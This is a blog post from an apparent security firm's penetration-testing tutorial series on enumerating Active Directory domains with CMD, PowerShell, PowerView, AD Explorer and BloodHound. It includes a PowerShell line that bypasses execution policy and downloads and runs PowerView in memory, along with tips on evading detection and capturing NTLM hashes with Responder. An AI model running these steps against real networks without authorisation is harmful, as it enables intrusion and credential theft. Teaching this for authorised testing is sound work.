{"id":2182,"date":"2024-09-25T12:17:38","date_gmt":"2024-09-25T12:17:38","guid":{"rendered":"https:\/\/xdr-mdr.lmntrix.com\/main_web\/?p=2182"},"modified":"2025-07-29T03:25:19","modified_gmt":"2025-07-29T03:25:19","slug":"active-directory-penetration-dojo-ad-environment-enumeration","status":"publish","type":"post","link":"https:\/\/lmntrix.com\/blog\/active-directory-penetration-dojo-ad-environment-enumeration\/","title":{"rendered":"Active Directory Penetration Dojo \u2013 AD Environment Enumeration"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/Dojo-4-1.webp\" alt=\"\"\/><\/figure>\n\n\n\n<p>Hi everyone, we\u2019ve discussed basics of Active Directory and different servers in AD in previous blog posts of this series. If you\u2019ve not yet read that, please find that here in <a href=\"https:\/\/lmntrix.com\/lab\/active-directory-penetration-dojo-setup-of-ad-penetration-lab-part-1\/\">[Part 1]<\/a> and <a href=\"https:\/\/lmntrix.com\/lab\/active-directory-penetration-dojo-setup-of-ad-penetration-lab-part-2\/\">[Part 2]<\/a>. We\u2019ve also understood trust relationships in AD environment. You can read post on trust relationships <a href=\"https:\/\/lmntrix.com\/lab\/active-directory-penetration-dojo-creation-of-forest-trust-part-3\/\">[here]<\/a>.<\/p>\n\n\n\n<p>Let\u2019s have a look at the current post in which we\u2019ll discuss how to enumerate an active directory domain and map various entities, trusts, relationships and privileges in it.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Few things to understand:<\/strong><\/h2>\n\n\n\n<p>&#8211; <strong>LDAP<\/strong> is used by Active directory as its access protocol. So when you enumerate information from AD, your query is sent to it as an LDAP query.<\/p>\n\n\n\n<p>&#8211; AD relies on <strong>DNS<\/strong> as its <strong>locator service<\/strong> that enables the clients to locate domain controllers and other hosts in the domain through DNS queries.<\/p>\n\n\n\n<p>&#8211; AD Database is <strong>NTDS.DIT<\/strong><\/p>\n\n\n\n<p>&#8211; AD supports several Naming conventions like:<\/p>\n\n\n\n<p>&#8211; User Principal name:<\/p>\n\n\n\n<p>&#8211; winsaafman@scriptdotsh.local<\/p>\n\n\n\n<p>&#8211; DN (Distinguished Names) LDAP names:<\/p>\n\n\n\n<p>&#8211; CN = Common name<\/p>\n\n\n\n<p>&#8211; OU = Organisational Unit<\/p>\n\n\n\n<p>&#8211; DC = Domain<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"625\" height=\"160\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/1-UPN.webp\" alt=\"\" class=\"wp-image-2183\"\/><\/figure>\n<\/div>\n\n\n<p>&#8211; Any standard domain user can enumerate active directory information. There is no need for administrative rights to do that.<\/p>\n\n\n\n<p>&#8211; We\u2019ll be using powershell a lot in the enumeration stage. In powershell, you get warning on running the scripts because of the execution policy setting policy. Execution Policy is just a way to stop users from accidentally executing scripts. It&#8217;s not really a security control, because it has builtin bypass parameters. (<strong>powershell -ExecutionPolicy bypass<\/strong>) as you can see in screenshot below:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" width=\"741\" height=\"342\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/2-powershell_ep1.webp\" alt=\"\" class=\"wp-image-2184\"\/><\/figure>\n<\/div>\n\n\n<p>If you don\u2019t want to save powershell module on disk and just load directly into memory and run some of its command, you can try it like this.<\/p>\n\n\n\n<p>powershell.exe -exec Bypass -C \u201cIEX (New-Object Net.WebClient).DownloadString(\u2018http:\/\/raw.githubusercontent.com\/PowerShellMafia\/PowerSploit\/master\/Recon\/PowerView.ps1\u2019);Get-NetDomain\u201d<\/p>\n\n\n\n<p>In addition to the <strong>-exec Bypass<\/strong>, there are several other ways to evade powershell blocking which is already there on the internet. So we won\u2019t be talking much about that.<\/p>\n\n\n\n<p>We can use the ADSI, .NET classes, DSquery, Powershell frameworks, CMD, WMI, AD Module etc. for enumerating active directory. In current blogpost, we\u2019ll enumerate the domain using the Active Directory powershell module and powerview.<\/p>\n\n\n\n<p>In the discovery phase, we aim to analyse a lot of things about the client environment and locate their PII, network architecture, devices, critical business applications etc. Then finding threats to those critical assets and looking for misconfigurations, vulnerabilities and weaknesses.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Local Recon<\/strong><\/h3>\n\n\n\n<p>Those of you who are very new to windows command line, here are few commands that you could use to do local enumeration.<\/p>\n\n\n\n<p>\u2013 To display the IP, subnet, default gateway etc<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ipconfig \/all<\/pre>\n\n\n\n<p>\u2013 To display current user name, info in current access token, SID, privs and group that current user belongs to<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">whoami \/all<\/pre>\n\n\n\n<p>\u2013 To show local groups on current machine:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">net localgroup<\/pre>\n\n\n\n<p>\u2013 To show local administrators of current machine:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">net localgroup \u201cadministrators\u201d<\/pre>\n\n\n\n<p>\u2013 To check active tcp connections, ports, which the computer is listening, ethernet statistics, ip routing table<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">netstat -an<\/pre>\n\n\n\n<p>\u2013 To display running processes with verbose mode:<\/p>\n\n\n\n<p>tasklist \/V<\/p>\n\n\n\n<p>\u2013 Shows the windows started services:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">net start<\/pre>\n\n\n\n<p>\u2013 Shows the windows services with binary paths:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sc qc &lt;service name&gt;<\/pre>\n\n\n\n<p>\u2013 Show OS, processor, memory, bios related info:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">systeminfo &gt; output.txt<\/pre>\n\n\n\n<p>\u2013 To check for scheduled tasks:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">schtasks \/query \/fo LIST \/v<\/pre>\n\n\n\n<p>\u2013 To check for the patches installed and figuring out if its missing important any patch:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">wmic qfe get Caption,Description,HotFixID,InstalledOn<\/pre>\n\n\n\n<p>There are a lot more commands and tips\/tricks which you can see in this <a href=\"https:\/\/0xdarkvortex.dev\/31-days-of-oscp-experience\/\" target=\"_blank\" rel=\"noopener\">post<\/a> by <a href=\"https:\/\/twitter.com\/NinjaParanoid\" target=\"_blank\" rel=\"noopener\">@ParanoidNinja<\/a>.<\/p>\n\n\n\n<p>But current post is more focused on Active Directory domain enumeration.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Basic CMD commands for domain and network recon<\/strong><\/h3>\n\n\n\n<p>\u2013 Shows mapping of IP address to its MAC address in the network:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&nbsp;arp -a<\/pre>\n\n\n\n<p>\u2013 Shows the domain:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&nbsp;echo %USERDOMAIN%<\/pre>\n\n\n\n<p>\u2013 Prints the domain controller name:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&nbsp;echo %logonserver%<\/pre>\n\n\n\n<p>\u2013 Prints a list of domain users<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&nbsp; net user \/domain<\/pre>\n\n\n\n<p>\u2013 Prints a list of groups in the domain:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">net group \/domain<\/pre>\n\n\n\n<p>\u2013 Prints the AD domain password policy:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">net accounts \/domain<\/pre>\n\n\n\n<p>\u2013 Maps AD trust relationships:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nltest \/domain_trusts<\/pre>\n\n\n\n<p>Now, let\u2019s have a look at enumerating through Active Directory Module for windows.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Enumeration using Active Directory powershell module:<\/strong><\/h2>\n\n\n\n<p>Active Directory module is used to query Active Directory without getting help of any external powershell modules or scripts. (Also used for administration) Moreover, it is signed by Microsoft, so there are less chances of detection and getting flagged as malicious by AVs when you use AD Module and not some external powershell scripts for AD enumeration.<\/p>\n\n\n\n<p>By default, this module needs Admin privileges and Remote Server Administration Toolkit to be installed on the client machine where you want to enable AD powershell module. Every domain controller has ADDS and RSAT installed. So basically, those servers have built-in Active Directory module installed. But there is other way to use it without installing RSAT. Let\u2019s see how we use that module.<\/p>\n\n\n\n<p>We don\u2019t actually need to install Remote Server Administration toolkit. Its just that we need to copy the Microsoft.ActiveDirectory.Management.dll file from a DC or a server having RSAT installed and copy it to our client machine and import into powershell. Or you can download it from <a href=\"http:\/\/github.com\/scarredmonk\/Scriptdotsh-ActiveDirectory\/raw\/master\/Microsoft.ActiveDirectory.Management.dll\" target=\"_blank\" rel=\"noopener\">here<\/a>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong><u>This is the location of the file on a DC:<\/u><\/strong><\/h3>\n\n\n\n<p>C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.ActiveDirectory.Management\\<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" width=\"779\" height=\"276\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/3-activedirectorymodule3.webp\" alt=\"\" class=\"wp-image-2185\"\/><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong><u>Import it into powershell:<\/u><\/strong><\/h3>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"537\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/4-activedirectorymodule1-1024x537-1.webp\" alt=\"\" class=\"wp-image-2186\"\/><\/figure>\n<\/div>\n\n\n<p>Once it is imported, then we can enumerate the AD environment using AD module commands.<\/p>\n\n\n\n<p>One more benefit is that it works in <a href=\"https:\/\/devblogs.microsoft.com\/powershell\/powershell-constrained-language-mode\/\" target=\"_blank\" rel=\"noopener\">PowerShell Constrained Language Mode<\/a> as well.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"551\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/5-activedirectorymodule4-1024x551-1.webp\" alt=\"\" class=\"wp-image-2187\"\/><\/figure>\n<\/div>\n\n\n<p>As you can see, in PCL mode, it is working fine.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u2013 <u>Prints info about AD Users:<\/u><\/strong><\/h3>\n\n\n\n<p>Get-ADUser -Filter * | select Name,SID,Enabled<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"758\" height=\"279\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/6-Get-ADuser.webp\" alt=\"\" class=\"wp-image-2188\"\/><\/figure>\n<\/div>\n\n\n<p>Or you can try filters to get data on demand like the below example which is for fetching admin groups.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u2013 <strong><u>Shows all admin groups in the domain:<\/u><\/strong><\/h3>\n\n\n\n<p>Get-ADGroup -Filter {Name -like &#8220;admin&#8221;} | select name, GroupScope<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"756\" height=\"356\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/7-Get-aduser-admin.webp\" alt=\"\" class=\"wp-image-2189\"\/><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">\u2013 <strong><u>To get information about your current AD Domain:<\/u><\/strong><\/h3>\n\n\n\n<p>Get-ADDomain<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u2013 <strong><u>Prints info about AD Forest:<\/u><\/strong><\/h3>\n\n\n\n<p>Get-ADForest<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/8-Get-ADDomain-1024x559-1.webp\" alt=\"\" class=\"wp-image-2190\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u2013 <strong><u>Prints info about mapping AD Trust:<\/u><\/strong><\/h3>\n\n\n\n<p>Get-ADTrust -Filter *<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"957\" height=\"556\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/9-Get-AD-Trust.webp\" alt=\"\" class=\"wp-image-2191\"\/><\/figure>\n<\/div>\n\n\n<p>There are other commands too which you find in PowerShell Gallery for Active Directory Module.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Enumeration using Powerview:<\/strong><\/h3>\n\n\n\n<p>PowerView <a href=\"http:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/master\/Recon\/PowerView.ps1\" target=\"_blank\" rel=\"noopener\">Reference<\/a><\/p>\n\n\n\n<p>Downloaded PowerView from above link and dot-sourced it.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"741\" height=\"342\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/10-powershell_ep1-1.webp\" alt=\"\" class=\"wp-image-2192\"\/><\/figure>\n<\/div>\n\n\n<p>Now we can use its commands.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u2013 <strong><u>To get list of all domain computers\/servers:<\/u><\/strong><\/h3>\n\n\n\n<p>Get-NetComputer<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"601\" height=\"342\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/11-Get-Net-Comp.webp\" alt=\"\" class=\"wp-image-2193\"\/><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">\u2013 <strong><u>Prints info about the domain controllers in current domain<\/u><\/strong>:<\/h3>\n\n\n\n<p>Get-NetDomainController<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"410\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/12-Get-Netdc-1024x410-1.webp\" alt=\"\" class=\"wp-image-2194\"\/><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">\u2013 <strong><u>Prints info about the groups in current domain:<\/u><\/strong><\/h3>\n\n\n\n<p>Get-NetGroup<\/p>\n\n\n\n<p>We can also get group details for domain controller from DC of other domain which has trust relationship with this domain:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"486\" height=\"422\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/13-Get-Netgroup-dc.webp\" alt=\"\" class=\"wp-image-2195\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u2013 <strong><u>Prints info about the active sessions on a specified server:<\/u><\/strong><\/h3>\n\n\n\n<p>Get-NetSession<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"479\" height=\"258\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/14-Netsession.webp\" alt=\"\" class=\"wp-image-2196\"\/><\/figure>\n<\/div>\n\n\n<p>Now, let check the ACLs (Access control list). ACLs contain access control entries (ACE).<\/p>\n\n\n\n<p>Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u2013 <strong><u>Prints ACL information for specified ActiveDirectory object.<\/u><\/strong><\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">Get-ObjectAcl<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"726\" height=\"388\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/15-get-objacl.webp\" alt=\"\" class=\"wp-image-2197\"\/><\/figure>\n<\/div>\n\n\n<p>You can also check if the current user context has local administrator access to a specified host in the domain:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Find-LocalAdminAccess -Verbose<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"797\" height=\"452\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/16-Find-localadmin.webp\" alt=\"\" class=\"wp-image-2198\"\/><\/figure>\n<\/div>\n\n\n<p>We can see above that we got a system where this has local admin access.<\/p>\n\n\n\n<p>\u2013 To <strong>enumerate members of the local Administrators groups<\/strong> across all machines in the domain, you can do the following:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Invoke-EnumerateLocalAdmin -Verbose<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Creating Active Directory Snapshot for offline analysis:<\/strong><\/h3>\n\n\n\n<p>We have a great tool <strong>AD Explorer<\/strong> (from Microsoft Sysinternals) which is really useful for AD pentesters. You just need a domain account and explore AD objects like you are on domain controller. You could find the same structure of Active Directory objects in same way that is in schema.<\/p>\n\n\n\n<p><strong>Reference<\/strong>&#8211; <a href=\"http:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/adexplorer\" target=\"_blank\" rel=\"noopener\">AD Explorer<\/a><\/p>\n\n\n\n<p>You can download it from <a href=\"https:\/\/live.sysinternals.com\/ADExplorer.exe\" target=\"_blank\" rel=\"noopener\">here<\/a>. Also, if you don\u2019t have access to browser, just directly type this UNC path <strong>\\\\live.sysinternals.com\\tools<\/strong> in URL bar of Windows explorer and execute it without downloading and the file will be loaded.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"490\" height=\"262\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/17-Enum_Explorer0.webp\" alt=\"\" class=\"wp-image-2199\"\/><\/figure>\n<\/div>\n\n\n<p>Execute it and you\u2019ll get below window to connect to AD.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"735\" height=\"577\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/18-Enum_Explorer1.webp\" alt=\"\" class=\"wp-image-2200\"\/><\/figure>\n<\/div>\n\n\n<p>Assuming that you are logged in with domain user, it will connect you when you press OK. Otherwise you need to enter credentials.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"854\" height=\"580\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/19-Enum_Explorer2.webp\" alt=\"\" class=\"wp-image-2201\"\/><\/figure>\n<\/div>\n\n\n<p>You can see the AD data and look for interesting attributes. One cool feature of AD explorer is that it allows you to create snapshot. Let\u2019s create one.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"426\" height=\"350\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/20-Enum_Explorer3.webp\" alt=\"\" class=\"wp-image-2202\"\/><\/figure>\n<\/div>\n\n\n<p>Click \u201cCreate Snapshot\u201d and give it any name.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"419\" height=\"315\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/21-Enum_Explorer4.webp\" alt=\"\" class=\"wp-image-2203\"\/><\/figure>\n<\/div>\n\n\n<p>Make sure you keep low throttle value so that it doesn\u2019t cause heavy load on server.<\/p>\n\n\n\n<p>Within few seconds, you\u2019ll have the snapshot of AD and you can take it with you and analyse it offline.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Recon Active Directory using Bloodhound<\/strong><\/h2>\n\n\n\n<p>We have another great tool <strong>Bloodhound<\/strong>.<\/p>\n\n\n\n<p><strong>Reference<\/strong> &#8211; <a href=\"https:\/\/github.com\/BloodHoundAD\/BloodHound\" target=\"_blank\" rel=\"noopener\"><strong>Bloodhound<\/strong><\/a><\/p>\n\n\n\n<p>It shows the hidden relationships within an Active Directory environment using graph theory.<\/p>\n\n\n\n<p>Really helpful to do analysis on graph and identify highly complex attack paths.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>It finds groups and group members of each group.<\/li>\n\n\n\n<li>Gets Domain computers in the domain.<\/li>\n\n\n\n<li>Obtain local admins for each computer.<\/li>\n\n\n\n<li>List Active sessions on each computer.<\/li>\n\n\n\n<li>And then creates relationships between all these findings.<\/li>\n<\/ul>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"839\" height=\"651\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/22-Bloodhound_SDSH.webp\" alt=\"\" class=\"wp-image-2204\"\/><\/figure>\n<\/div>\n\n\n<p>We\u2019ll be writing a separate post on Bloodhound where I\u2019ll explain it in detail.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Enumeration Tips:<\/strong><\/h3>\n\n\n\n<p>Enumeration process is not just limited to Active Directory. Whenever you are involved in a red team assessments for large enterprises where there are many things to enumerate, check for below things as well and not just the AD:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Check the policies related to Network Access Control. Whether it can be bypassed or not.<\/li>\n\n\n\n<li>Go for guest wifi. It could lead you to get inside the company network if it is not segregated.<\/li>\n\n\n\n<li>Check for the printers in the environment. Try to do printer exploitation. Printers are part of domain network too. Try default passwords.<\/li>\n\n\n\n<li>Check for misconfigurations in the systems as well as the network.<\/li>\n\n\n\n<li>At the Domain level, always look for \u201cAdministrators\u201d group members instead of going just for \u201cDomain Admins\u201d. Reason being Builtin Administrators group is the superior one. Even- \u201cDomain Admins\u201d group is also the member of administrators groups.<\/li>\n\n\n\n<li>Look for User Rights Assignments in the GPOs. They get checked very rarely. The ones which are configured for Domain Controllers actually have domain rights.<\/li>\n\n\n\n<li>Most of the organizations use the same image for all of their deployments. Which means they use same local admin password. Always check if same local admin account is being used in- whole domain.<\/li>\n\n\n\n<li>Identify Admin Restrictions. (Logon Hours, LogonWorkstations) Decoys can be detected using this.<\/li>\n\n\n\n<li>Use Responder to collect NTLM hashes.<\/li>\n\n\n\n<li>Check SYSVOL too.<\/li>\n\n\n\n<li>Don\u2019t stop just after being a domain administrator. Look for the data that could impact the business. Look for systems and data that belongs to the Finance department, HR, Sales- info, client info, critical business information etc. Check for File shares.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"822\" height=\"669\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/23-Shareenum.webp\" alt=\"\" class=\"wp-image-2205\"\/><\/figure>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hi everyone, we&rsquo;ve discussed basics of Active Directory and different servers in AD in previous blog posts of this series. If you&rsquo;ve not yet read that, please find that here in [Part 1] and [Part 2]. We&rsquo;ve also understood trust relationships in AD environment. You can read post on trust relationships [here]. Let&rsquo;s have a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2206,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"class_list":["post-2182","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-labs"],"_links":{"self":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2182","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/comments?post=2182"}],"version-history":[{"count":3,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2182\/revisions"}],"predecessor-version":[{"id":4212,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2182\/revisions\/4212"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/media\/2206"}],"wp:attachment":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/media?parent=2182"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/categories?post=2182"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/tags?post=2182"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}